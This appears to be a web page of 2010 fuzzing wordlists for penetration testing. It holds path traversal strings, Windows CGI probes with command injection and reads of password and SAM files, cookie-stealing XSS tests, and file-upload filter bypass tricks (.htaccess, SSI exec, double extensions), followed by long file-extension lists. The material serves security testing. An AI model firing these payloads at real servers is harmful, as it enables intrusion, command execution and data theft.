.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\..\{FILE}<br /> ./../{FILE}<br /> ./.././../{FILE}<br /> ./.././.././../{FILE}<br /> ./.././.././.././../{FILE}<br /> ./.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././.././../{FILE}<br /> .\..\{FILE}<br /> .\..\.\..\{FILE}<br /> .\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .//..//{FILE}<br /> .//..//.//..//{FILE}<br /> .//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .\\..\\{FILE}<br /> .\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> ../{FILE}<br /> ../..//{FILE}<br /> ../..//../{FILE}<br /> ../..//../..//{FILE}<br /> ../..//../..//../{FILE}<br /> ../..//../..//../..//{FILE}<br /> ../..//../..//../..//../{FILE}<br /> ../..//../..//../..//../..//{FILE}<br /> ..\{FILE}<br /> ..\..\\{FILE}<br /> ..\..\\..\{FILE}<br /> ..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\{FILE}<br /> ..///{FILE}<br /> ../..///{FILE}<br /> ../..//..///{FILE}<br /> ../..//../..///{FILE}<br /> ../..//../..//..///{FILE}<br /> ../..//../..//../..///{FILE}<br /> ../..//../..//../..//..///{FILE}<br /> ../..//../..//../..//../..///{FILE}<br /> ..\\\{FILE}<br /> ..\..\\\{FILE}<br /> ..\..\\..\\\{FILE}<br /> ..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\\{FILE}<br /> &lt;/pre&gt;<br /> <br /> === Common Windows CGI (Update: 17 March 2010 - Total Statements: 76) ===<br /> &lt;pre&gt;# Common Windows CGI (Update: 17 March 2010)<br /> # fuzz inside executable directories<br /> # on windows, this is usually /scripts or /cgi-bin<br /> # adam.muntner@quietmove.com<br /> <br /> cart32.exe<br /> get32.exe<br /> visadmin.exe<br /> foxweb.exe<br /> webplus.exe?about<br /> fpsrvadm.exe<br /> MsmMask.exe<br /> cmd.exe?/c+dir<br /> cmd1.exe?/c+dir<br /> post32.exe|dir%20c:\\<br /> cgitest.exe<br /> hpnst.exe?c=p+i=<br /> Pbcgi.exe<br /> testcgi.exe<br /> webfind.exe?keywords=01234567890123456789<br /> redir.exe?URL=http%3A%2F%2Fwww%2Egoogle%2Ecom%2F%0D%0A%0D%0A%3C<br /> test-cgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> athcgi.exe?command=showpage&amp;script='],[0,0]];alert('Vulnerable');a=[['<br /> mkilog.exe<br /> mkplog.exe<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> perl.exe?-v<br /> perl.exe<br /> ppdscgi.exe<br /> c32web.exe/ChangeAdminPassword<br /> windmail.exe<br /> dbmlparser.exe<br /> cgimail.exe<br /> minimal.exe<br /> rguest.exe<br /> visitor.exe<br /> webbbs.exe<br /> wguest.exe<br /> /_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15<br /> cfgwiz.exe<br /> Cgitest.exe<br /> mailform.exe<br /> post16.exe<br /> imagemap.exe<br /> htimage.exe/path/filename?2,2<br /> htimage.exe<br /> Webnews.exe<br /> texis.exe/junk<br /> apexec.pl?etype=odp&amp;template=../../../../../../../../../../etc/passwd%00.html&amp;passurl=/category/<br /> sensepost.exe?/c+dir<br /> testcgi.exe<br /> testcgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> ion-p.exe?page=c:\winnt\repair\sam<br /> ../../../../../../../../../../WINNT/system32/ipconfig.exe<br /> NUL/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> PRN/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> c32web.exe/GetImage?ImageName=CustomerEmail.txt%00.pdf <br /> foxweb.dll<br /> wconsole.dll<br /> shtml.dll<br /> scripts/slxweb.dll/getfile?type=Library&amp;file=[invalid filename]<br /> rightfax/fuwww.dll/?<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%20Hacker@hax0r.com%20|%20dir%20c:\\<br /> GW5/GWWEB.EXE<br /> GW5/GWWEB.EXE?GET-CONTEXT&amp;HTMLVER=AAA<br /> GW5/GWWEB.EXE?HELP=bad-request<br /> GWWEB.EXE?HELP=bad-request<br /> echo.bat<br /> echo.bat?&amp;dir+c:\\<br /> hello.bat?&amp;dir+c:\\<br /> input.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> input2.bat?|dir<br /> input2.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> test-cgi.bat<br /> test.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> tst.bat|dir%20..\\..\\..\\..\\..\\..\\..\\..\\,<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass (Update: 17 March 2010 - notes only) ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htaccess in an upload folder on Apache httpd, try setting .jpg to executable. If you can set the target directory, try fuzz the list of all dirs you've enumerated on the servers, and try the commonly writable directory fuzzfile.<br /> #<br /> # example .htaccess that sets mime type .jpg to be executable:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass - Generic (Update: 6 April 2010) ===<br /> &lt;pre&gt;# adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass - PHP Specific (Update: 6 April 2010) ===<br /> &lt;pre&gt;# adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # <br /> # Another test: use exiftool http://www.sno.phy.queensu.ca/~phil/exiftool/ to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar <br /> # PHP on Windows<br /> {PHPSCRIPT}.php::$DATA<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass - Microsoft Specific (Update: 6 April 2010) ===<br /> &lt;pre&gt;# adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # <br /> # Another test: use exiftool http://www.sno.phy.queensu.ca/~phil/exiftool/ to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar <br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 2) ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2010<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === PHP-Specific Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7) ===<br /> &lt;pre&gt;# PHP-Specific File Upload Filter Bypass Appends (Update: 17 March 2010 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> <br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> {PHPSCRIPT}.php.doc<br /> {PHPSCRIPT}.php.xls<br /> {PHPSCRIPT}.php.xlsx<br /> {PHPSCRIPT}.php.pdf<br /> {PHPSCRIPT}.php.jpeg<br /> {PHPSCRIPT}.php.gif<br /> {PHPSCRIPT}.php.zip<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 14) ===<br /> &lt;pre&gt;# Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> &lt;/pre&gt;<br /> <br /> === Commonly Writable Directories - For File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9) ===<br /> &lt;pre&gt;#Commonly Writable Directories - For File Upload Filter Bypass - Filename Appends (Update: 17 March 2010) <br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863) ===<br /> &lt;pre&gt;<br /> #Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Compressed File Types - (Update: 16 March 2010 - Total Statements: 187) ===<br /> &lt;pre&gt;<br /> # Compressed File Types - (Update: 16 March 2010 - Total Statements: 187)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> 